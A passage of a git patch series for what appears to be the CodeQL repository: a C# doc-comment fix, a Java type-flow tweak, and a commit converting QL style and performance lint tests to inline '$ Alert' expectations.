MulOperation, @assign_mul_expr { override string getOperator() { result = "*=" } diff --git a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll index d16dd0446ae..22b24202041 100644 --- a/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll +++ b/csharp/ql/lib/semmle/code/csharp/exprs/LogicalOperation.qll @@ -31,7 +31,7 @@ class LogicalNotExpr extends UnaryLogicalOperation, @log_not_expr { /** * A binary logical operation. Either a logical 'and' (`LogicalAndExpr`), - * a logical 'or' (`LogicalAndExpr`), or a null-coalescing operation + * a logical 'or' (`LogicalOrExpr`), or a null-coalescing operation * (`NullCoalescingOperation`). */ class BinaryLogicalOperation extends LogicalOperation, BinaryOperation, @bin_log_operation { From 686e98c6ffe6d22bf0defbf6c0016ed2dbbe1c40 Mon Sep 17 00:00:00 2001 From: Tom Hvitved Date: Mon, 15 Jun 2026 11:37:14 +0200 Subject: [PATCH 121/143] Update java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll Co-authored-by: Anders Schack-Mulligen --- java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll index 6627b3ed004..e11013f1232 100644 --- a/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll +++ b/java/ql/lib/semmle/code/java/dataflow/TypeFlow.qll @@ -88,14 +88,14 @@ module FlowStepsInput implements UniversalFlow::UniversalFlowInput { n = rank[result](FlowNode n0, int a, int b | a = 0 and - idOf(any(n0.asField()), b) + idOf(n0.asField(), b) or // no case for `n0.asSsa()`; here we rely on the built-in location-based ranking a = 1 and - idOf(any(n0.asExpr()), b) + idOf(n0.asExpr(), b) or a = 2 and - idOf(any(n0.asMethod()), b) + idOf(n0.asMethod(), b) | n0 order by a, b ) From 4ad3a44aab30bd9c78fd7821fc5f7f2a463735a1 Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Mon, 15 Jun 2026 11:15:16 +0100 Subject: [PATCH 122/143] QL: Convert qlref tests to inline expectations --- ql/ql/test/queries/bugs/OrderByConst/Foo.qll | 2 +- .../bugs/OrderByConst/OrderByConst.qlref | 3 ++- .../SumWithoutDomain/SumWithoutDomain.qlref | 3 ++- .../queries/bugs/SumWithoutDomain/Test.qll | 2 +- .../InlineOverlayCaller.qlref | 3 ++- .../overlay/InlineOverlayCaller/Test.qll | 2 +- .../AbstractClassImport.qlref | 3 ++- .../AbstractClassImportTest1.qll | 2 +- .../MissingNoInline/MissingNoInline.qlref | 3 ++- .../performance/MissingNoInline/Test.qll | 2 +- .../performance/VarUnusedInDisjunct/Test.qll | 18 +++++++-------- .../VarUnusedInDisjunct.qlref | 3 ++- .../AcronymsShouldBeCamelCase.qlref | 3 ++- .../style/AcronymsShouldBeCamelCase/Test.qll | 6 ++--- .../style/CouldBeCast/CouldBeCast.qlref | 3 ++- ql/ql/test/queries/style/CouldBeCast/Foo.qll | 10 ++++----- .../DataFlowConfigModuleNaming.qlref | 3 ++- .../style/DataFlowConfigModuleNaming/Test.qll | 4 ++-- .../queries/style/DeadCode/DeadCode.qlref | 3 ++- ql/ql/test/queries/style/DeadCode/Foo.qll | 10 ++++----- .../FieldOnlyUsedInCharPred.qll | 2 +- .../FieldOnlyUsedInCharPred.qlref | 3 ++- ql/ql/test/queries/style/ImplicitThis/Bad.qll | 2 +- .../test/queries/style/ImplicitThis/Bad2.qll | 2 +- .../style/ImplicitThis/ImplicitThis.qlref | 3 ++- .../style/MissingParameterInQlDoc/Foo.qll | 4 ++-- .../MissingParameterInQlDoc.qlref | 3 ++- .../MissingQualityMetadata.qlref | 3 ++- .../BadQualityMaintainabilityWrongToplevel.ql | 2 +- .../testcases/BadQualityMultipleTopLevel.ql | 2 +- .../testcases/BadQualityNoToplevel.ql | 2 +- .../BadQualityReliabilityWrongToplevel.ql | 2 +- .../MissingSecurityMetadata.qlref | 3 ++- .../testcases/BadNoSecurity.ql | 2 +- .../testcases/BadNoSeverity.ql | 2 +- .../style/Misspelling/Misspelling.qlref | 3 ++- ql/ql/test/queries/style/Misspelling/Test.qll | 12 +++++----- ql/ql/test/queries/style/NonDocBlock/Foo.qll | 4 ++-- .../style/NonDocBlock/NonDocBlock.qlref | 3 ++- .../OmittableExists/OmittableExists.qlref | 3 ++- .../queries/style/OmittableExists/Test.qll | 2 +- .../style/QlRefInlineExpectations/Test3.qlref | 3 ++- .../test/queries/style/RedundantCast/Foo.qll | 6 ++--- .../style/RedundantCast/RedundantCast.qlref | 3 ++- .../test/queries/style/RedundantImport/D.qll | 2 +- .../RedundantImport/RedundantImport.qlref | 3 ++- .../RedundantOverride/RedundantOverride.qll | 22 +++++++++---------- .../RedundantOverride/RedundantOverride.qlref | 3 ++- .../SwappedParameterNames.qlref | 3 ++- .../style/SwappedParameterNames/Test.qll | 2 +- .../style/UseInstanceofExtension/Foo.qll | 8 +++---- .../UseInstanceofExtension.qlref | 3 ++- .../style/UseSetLiteral/UseSetLiteral.qlref | 3 ++- .../test/queries/style/UseSetLiteral/test.qll | 16 +++++++------- .../ValidatePredicateGetReturns.qlref | 3 ++- .../ValidatePredicateGetReturns/test.qll | 12 +++++----- 56 files changed, 135 insertions(+), 109 deletions(-) diff --git a/ql/ql/test/queries/bugs/OrderByConst/Foo.qll b/ql/ql/test/queries/bugs/OrderByConst/Foo.qll index 7229564660e..9f51572689c 100644 --- a/ql/ql/test/queries/bugs/OrderByConst/Foo.qll +++ b/ql/ql/test/queries/bugs/OrderByConst/Foo.qll @@ -1,5 +1,5 @@ string foo() { - result = concat(string x | x = [0 .. 10].toString() | x order by x desc, ", ") // BAD + result = concat(string x | x = [0 .. 10].toString() | x order by x desc, ", ") // $ Alert // BAD or result = concat(string x | x = [0 .. 10].toString() | x, ", " order by x desc) // GOOD } diff --git a/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref b/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref index 809589a856f..9c2263fc14d 100644 --- a/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref +++ b/ql/ql/test/queries/bugs/OrderByConst/OrderByConst.qlref @@ -1 +1,2 @@ -queries/bugs/OrderByConst.ql \ No newline at end of file +query: queries/bugs/OrderByConst.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref b/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref index dc782dfbd0a..46f2785806e 100644 --- a/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref +++ b/ql/ql/test/queries/bugs/SumWithoutDomain/SumWithoutDomain.qlref @@ -1 +1,2 @@ -queries/bugs/SumWithoutDomain.ql \ No newline at end of file +query: queries/bugs/SumWithoutDomain.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll b/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll index 8190aed8101..9b15c38d9c6 100644 --- a/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll +++ b/ql/ql/test/queries/bugs/SumWithoutDomain/Test.qll @@ -1,6 +1,6 @@ // Result is 3 and not 4 int foo() { - result = sum([1, 1, 2]) // <- Alert here + result = sum([1, 1, 2]) // $ Alert // <- Alert here } // Ok - false negative diff --git a/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref b/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref index 0347e9eedc5..b3385b46971 100644 --- a/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref +++ b/ql/ql/test/queries/overlay/InlineOverlayCaller/InlineOverlayCaller.qlref @@ -1 +1,2 @@ -queries/overlay/InlineOverlayCaller.ql +query: queries/overlay/InlineOverlayCaller.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll b/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll index e25577d91a1..a3e2f19447a 100644 --- a/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll +++ b/ql/ql/test/queries/overlay/InlineOverlayCaller/Test.qll @@ -4,7 +4,7 @@ module; import ql pragma[inline] -predicate foo(int x) { x = 42 } +predicate foo(int x) { x = 42 } // $ Alert overlay[caller] pragma[inline] diff --git a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref index 4d7907c36ef..4dc5cc5d490 100644 --- a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref +++ b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImport.qlref @@ -1 +1,2 @@ -queries/performance/AbstractClassImport.ql \ No newline at end of file +query: queries/performance/AbstractClassImport.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll index ce7f7c4ea68..fe2519cc0d5 100644 --- a/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll +++ b/ql/ql/test/queries/performance/AbstractClassImport/AbstractClassImportTest1.qll @@ -1,4 +1,4 @@ import ql import AbstractClassImportTest2 -abstract class Base extends AstNode { } +abstract class Base extends AstNode { } // $ Alert diff --git a/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref b/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref index aee3346d730..f1bc931e122 100644 --- a/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref +++ b/ql/ql/test/queries/performance/MissingNoInline/MissingNoInline.qlref @@ -1 +1,2 @@ -queries/performance/MissingNoinline.ql \ No newline at end of file +query: queries/performance/MissingNoinline.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/performance/MissingNoInline/Test.qll b/ql/ql/test/queries/performance/MissingNoInline/Test.qll index a55315be7e2..a92f7f38d0c 100644 --- a/ql/ql/test/queries/performance/MissingNoInline/Test.qll +++ b/ql/ql/test/queries/performance/MissingNoInline/Test.qll @@ -5,7 +5,7 @@ import ql * * This predicate exists to fix a join order. */ -predicate missingNoInline(AddExpr add, Expr e1, Expr e2) { +predicate missingNoInline(AddExpr add, Expr e1, Expr e2) { // $ Alert // BAD add.getLeftOperand() = e1 and add.getRightOperand() = e2 diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll index 10e97e58209..b4b30f10028 100644 --- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll +++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/Test.qll @@ -13,21 +13,21 @@ class MyStr extends string { predicate bad1(Big b) { b.toString().matches("%foo") or - any() + any() // $ Alert } int bad2() { exists(Big big, Small small | result = big.toString().toInt() or - result = small.toString().toInt() + result = small.toString().toInt() // $ Alert ) } float bad3(Big t) { result = [1 .. 10].toString().toFloat() or result = [11 .. 20].toString().toFloat() or - result = t.toString().toFloat() or + result = t.toString().toFloat() or // $ Alert result = [21 .. 30].toString().toFloat() } @@ -50,7 +50,7 @@ predicate bad4(Big fromType, Big toType) { or fromType.toString().matches("%foo") or - helper(toType, fromType) + helper(toType, fromType) // $ Alert } predicate good2(Big t) { @@ -71,7 +71,7 @@ predicate mixed1(Big good, Small small) { small.toString().matches("%foo") and // the use of good is fine, the comparison further up binds it. // the same is not true for bad. - (bad.toString().matches("%foo") or good.toString().regexpMatch("foo.*")) and + (bad.toString().matches("%foo") or good.toString().regexpMatch("foo.*")) and // $ Alert small.toString().regexpMatch(".*foo") ) } @@ -112,7 +112,7 @@ predicate good5(Big bb, Big v, boolean certain) { ) } -predicate bad5(Big bb) { if none() then bb.toString().matches("%foo") else any() } +predicate bad5(Big bb) { if none() then bb.toString().matches("%foo") else any() } // $ Alert pragma[inline] predicate good5(Big a, Big b) { @@ -126,12 +126,12 @@ predicate bad6(Big a) { ( a.toString().matches("%foo") // bad or - any() + any() // $ Alert ) and ( a.toString().matches("%foo") // also bad or - any() + any() // $ Alert ) } @@ -163,7 +163,7 @@ class HasField extends Big { HasField() { field = this or - this.toString().matches("%foo") // <- field only defined here. + this.toString().matches("%foo") // $ Alert // <- field only defined here. } Big getField() { result = field } diff --git a/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref b/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref index 28f0c0d938a..0413e31942f 100644 --- a/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref +++ b/ql/ql/test/queries/performance/VarUnusedInDisjunct/VarUnusedInDisjunct.qlref @@ -1 +1,2 @@ -queries/performance/VarUnusedInDisjunct.ql \ No newline at end of file +query: queries/performance/VarUnusedInDisjunct.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref index 0f57f1fa66c..3e287c27a39 100644 --- a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref +++ b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/AcronymsShouldBeCamelCase.qlref @@ -1 +1,2 @@ -queries/style/AcronymsShouldBeCamelCase.ql \ No newline at end of file +query: queries/style/AcronymsShouldBeCamelCase.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll index 1ff0d4c0d52..06742e06948 100644 --- a/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll +++ b/ql/ql/test/queries/style/AcronymsShouldBeCamelCase/Test.qll @@ -1,13 +1,13 @@ // BAD -predicate isXML() { any() } +predicate isXML() { any() } // $ Alert // GOOD [ AES is exceptional ] predicate isAES() { any() } // BAD -newtype TXMLElements = +newtype TXMLElements = // $ Alert TXmlElement() or // GOOD - TXMLElement() // BAD + TXMLElement() // $ Alert // BAD // GOOD newtype TIRFunction = MkIRFunction() diff --git a/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref b/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref index 78879bb0ab0..36a6244669b 100644 --- a/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref +++ b/ql/ql/test/queries/style/CouldBeCast/CouldBeCast.qlref @@ -1 +1,2 @@ -queries/style/CouldBeCast.ql \ No newline at end of file +query: queries/style/CouldBeCast.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/CouldBeCast/Foo.qll b/ql/ql/test/queries/style/CouldBeCast/Foo.qll index 5f6771f0043..6c3da185fe6 100644 --- a/ql/ql/test/queries/style/CouldBeCast/Foo.qll +++ b/ql/ql/test/queries/style/CouldBeCast/Foo.qll @@ -1,20 +1,20 @@ bindingset[i] predicate foo(int i) { - exists(Even j | j = i) // NOT OK + exists(Even j | j = i) // $ Alert // NOT OK or exists(Even j | j = i | j % 4 = 0) // OK or - any(Even j | j = i) = 2 // NOT OK + any(Even j | j = i) = 2 // $ Alert // NOT OK or - any(Even j | j = i | j) = 2 // NOT OK + any(Even j | j = i | j) = 2 // $ Alert // NOT OK or any(Even j | j = i | j * 2) = 4 // OK or any(Even j | j = i and j % 4 = 0 | j) = 4 // OK or - any(int j | j = i) = 2 // NOT OK + any(int j | j = i) = 2 // $ Alert // NOT OK or - exists(int j | j = i) // NOT OK + exists(int j | j = i) // $ Alert // NOT OK } class Even extends int { diff --git a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref index 62375818f5e..2025f1cdb90 100644 --- a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref +++ b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/DataFlowConfigModuleNaming.qlref @@ -1 +1,2 @@ -queries/style/DataFlowConfigModuleNaming.ql \ No newline at end of file +query: queries/style/DataFlowConfigModuleNaming.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll index a06118a7fe0..6da96a4b572 100644 --- a/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll +++ b/ql/ql/test/queries/style/DataFlowConfigModuleNaming/Test.qll @@ -8,14 +8,14 @@ module EmptyConfig implements DataFlow::ConfigSig { } // BAD - does not end with "Config" -module EmptyConfiguration implements DataFlow::ConfigSig { +module EmptyConfiguration implements DataFlow::ConfigSig { // $ Alert predicate isSource(DataFlow::Node src) { none() } predicate isSink(DataFlow::Node sink) { none() } } // BAD - does not end with "Config" -module EmptyFlow implements DataFlow::ConfigSig { +module EmptyFlow implements DataFlow::ConfigSig { // $ Alert predicate isSource(DataFlow::Node src) { none() } predicate isSink(DataFlow::Node sink) { none() } diff --git a/ql/ql/test/queries/style/DeadCode/DeadCode.qlref b/ql/ql/test/queries/style/DeadCode/DeadCode.qlref index ac615af4961..704cc5c1365 100644 --- a/ql/ql/test/queries/style/DeadCode/DeadCode.qlref +++ b/ql/ql/test/queries/style/DeadCode/DeadCode.qlref @@ -1 +1,2 @@ -queries/style/DeadCode.ql \ No newline at end of file +query: queries/style/DeadCode.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/DeadCode/Foo.qll b/ql/ql/test/queries/style/DeadCode/Foo.qll index a5b5b08e2a4..32fab335b78 100644 --- a/ql/ql/test/queries/style/DeadCode/Foo.qll +++ b/ql/ql/test/queries/style/DeadCode/Foo.qll @@ -1,11 +1,11 @@ import ql private module Mixed { - private predicate dead1() { none() } + private predicate dead1() { none() } // $ Alert predicate alive1() { none() } - predicate dead2() { none() } + predicate dead2() { none() } // $ Alert } predicate usesAlive() { Mixed::alive1() } @@ -43,7 +43,7 @@ private module Input1 implements InputSig { predicate foo() { any() } } -private module Input2 implements InputSig { +private module Input2 implements InputSig { // $ Alert predicate foo() { any() } } @@ -53,7 +53,7 @@ private module Input3 implements InputSig { module M1 = ParameterizedModule; -private module M2 = ParameterizedModule; +private module M2 = ParameterizedModule; // $ Alert import ParameterizedModule @@ -65,7 +65,7 @@ private class CImpl1 extends AstNode { } final class CPublic1 = CImpl1; -private class CImpl2 extends AstNode { } +private class CImpl2 extends AstNode { } // $ Alert overlay[discard_entity] private predicate discard(@foo x) { any() } diff --git a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll index edfc8b4576e..4f1d5da7196 100644 --- a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll +++ b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qll @@ -1,5 +1,5 @@ class C1 extends int { - int field; // BAD + int field; // $ Alert // BAD C1() { this = field and diff --git a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref index 0e77c6ae6fe..cf83276fb00 100644 --- a/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref +++ b/ql/ql/test/queries/style/FieldOnlyUsedInCharPred/FieldOnlyUsedInCharPred.qlref @@ -1 +1,2 @@ -queries/style/FieldOnlyUsedInCharPred.ql +query: queries/style/FieldOnlyUsedInCharPred.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/ImplicitThis/Bad.qll b/ql/ql/test/queries/style/ImplicitThis/Bad.qll index 97b51284acc..c1834c8bb6b 100644 --- a/ql/ql/test/queries/style/ImplicitThis/Bad.qll +++ b/ql/ql/test/queries/style/ImplicitThis/Bad.qll @@ -7,5 +7,5 @@ class Foo extends string { string getBarWithThis() { result = this.getBar() } - string getBarWithoutThis() { result = getBar() } + string getBarWithoutThis() { result = getBar() } // $ Alert } diff --git a/ql/ql/test/queries/style/ImplicitThis/Bad2.qll b/ql/ql/test/queries/style/ImplicitThis/Bad2.qll index 27d7485ca4f..540c02f0921 100644 --- a/ql/ql/test/queries/style/ImplicitThis/Bad2.qll +++ b/ql/ql/test/queries/style/ImplicitThis/Bad2.qll @@ -5,5 +5,5 @@ class Foo extends string { string getBar() { result = "bar" } - string getBarWithoutThis() { result = getBar() } + string getBarWithoutThis() { result = getBar() } // $ Alert } diff --git a/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref b/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref index 0bdcd3b4b5b..f751b15e814 100644 --- a/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref +++ b/ql/ql/test/queries/style/ImplicitThis/ImplicitThis.qlref @@ -1 +1,2 @@ -queries/style/ImplicitThis.ql +query: queries/style/ImplicitThis.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll b/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll index 13509dbe521..ffd21d59a5c 100644 --- a/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll +++ b/ql/ql/test/queries/style/MissingParameterInQlDoc/Foo.qll @@ -2,7 +2,7 @@ predicate test1(int param1, int param2, int param3) { none() } // OK /** `param1`, `par2` */ -predicate test2(int param1, int param2) { none() } // NOT OK - `par2` is not a parameter, and `param2` has no documentation +predicate test2(int param1, int param2) { none() } // $ Alert // NOT OK - `par2` is not a parameter, and `param2` has no documentation /** `param1`, `par2 + par3` */ predicate test3(int param1, int par2, int par3) { none() } // OK @@ -11,4 +11,4 @@ predicate test3(int param1, int par2, int par3) { none() } // OK predicate test4(int param1, int param2) { none() } // OK - the QLDoc mentions none of the parameters, that's OK /** the param1 parameter is mentioned in a non-code block, but the `par2` parameter is misspelled */ -predicate test5(int param1, int param2) { none() } // NOT OK - the `param1` parameter is "documented" in clear text, but `par2` is misspelled +predicate test5(int param1, int param2) { none() } // $ Alert // NOT OK - the `param1` parameter is "documented" in clear text, but `par2` is misspelled diff --git a/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref b/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref index 0539e4f5de2..a7d2f3d0a1d 100644 --- a/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref +++ b/ql/ql/test/queries/style/MissingParameterInQlDoc/MissingParameterInQlDoc.qlref @@ -1 +1,2 @@ -queries/style/MissingParameterInQlDoc.ql \ No newline at end of file +query: queries/style/MissingParameterInQlDoc.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref index 6d7eb26bede..48abe277264 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingQualityMetadata/MissingQualityMetadata.qlref @@ -1 +1,2 @@ -queries/style/MissingQualityMetadata.ql +query: queries/style/MissingQualityMetadata.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql index 3dd18771f95..0b1290de98b 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMaintainabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * error-handling - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql index a9a7b48b76c..4624b6d1076 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityMultipleTopLevel.ql @@ -8,7 +8,7 @@ * @tags quality * maintainability * reliability - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql index ad2ab5c1fb5..8c8bda6294e 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityNoToplevel.ql @@ -7,7 +7,7 @@ * @id ql/quality-query-test * @tags quality * someothertag - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql index 53e84fb8a19..1a33baf6c51 100644 --- a/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql +++ b/ql/ql/test/queries/style/MissingQualityMetadata/testcases/BadQualityReliabilityWrongToplevel.ql @@ -8,7 +8,7 @@ * @tags quality * reliability * readability - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref index c697bcee82e..bd4295a6862 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/MissingSecurityMetadata.qlref @@ -1 +1,2 @@ -queries/style/MissingSecurityMetadata.ql \ No newline at end of file +query: queries/style/MissingSecurityMetadata.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql index d0562879831..a403812021e 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSecurity.ql @@ -7,7 +7,7 @@ * @precision very-high * @id ql/some-query * @tags quality - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql index f04fe81599a..47a12a1858a 100644 --- a/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql +++ b/ql/ql/test/queries/style/MissingSecurityMetadata/testcases/BadNoSeverity.ql @@ -7,7 +7,7 @@ * @id ql/some-query * @tags quality * security - */ + */ // $ Alert import ql diff --git a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref index afbcaf951f3..ed9785fee3a 100644 --- a/ql/ql/test/queries/style/Misspelling/Misspelling.qlref +++ b/ql/ql/test/queries/style/Misspelling/Misspelling.qlref @@ -1 +1,2 @@ -queries/style/Misspelling.ql \ No newline at end of file +query: queries/style/Misspelling.ql +postprocess: utils/test/InlineExpectationsTestQuery.ql diff --git a/ql/ql/test/queries/style/Misspelling/Test.qll b/ql/ql/test/queries/style/Misspelling/Test.qll index b6619145f8d..1da75babe07 100644 --- a/ql/ql/test/queries/style/Misspelling/Test.qll +++ b/ql/ql/test/queries/style/Misspelling/Test.qll @@ -1,13 +1,13 @@ /** * A string that's deliberately mispelled (and so is that last word). - */ -class PublicallyAccessible extends string { - int numOccurences; // should be 'occurrences' + */ // $ Alert +class PublicallyAccessible extends string { // $ Alert + int numOccurences; // $ Alert // should be 'occurrences' PublicallyAccessible() { this = "publically" and numOccurences = 123 } // should be argument - predicate hasAgrument() { none() } + predicate hasAgrument() { none() } // $ Alert int getNum() { result = numOccurences } } @@ -15,8 +15,8 @@ class PublicallyAccessible extends string { /** * A class whose name contains a British-English spelling. * And here's the word 'colour'. - */ -class AnalysedInt extends int { + */ // $ Alert +class AnalysedInt extends int { // $ Alert AnalysedInt() { this = 7 } // 'analyses' should not be flagged diff --git a/ql/ql/test/queries/style/NonDocBlock/Foo.qll b/ql/ql/test/queries/style/NonDocBlock/Foo.qll index 99f957fa770..22fc0e3761a 100644 --- a/ql/ql/test/queries/style/NonDocBlock/Foo.qll +++ b/ql/ql/test/queries/style/NonDocBlock/Foo.qll @@ -1,13 +1,13 @@ /* * This should be QLDoc. - */ + */ // $ Alert /** * this is fine */ predicate foo() { any() } -/* Note: this is bad. */ +/* Note: this is bad. */ // $ Alert class Foo extends string { Foo() { this = "FOo" } } diff --git 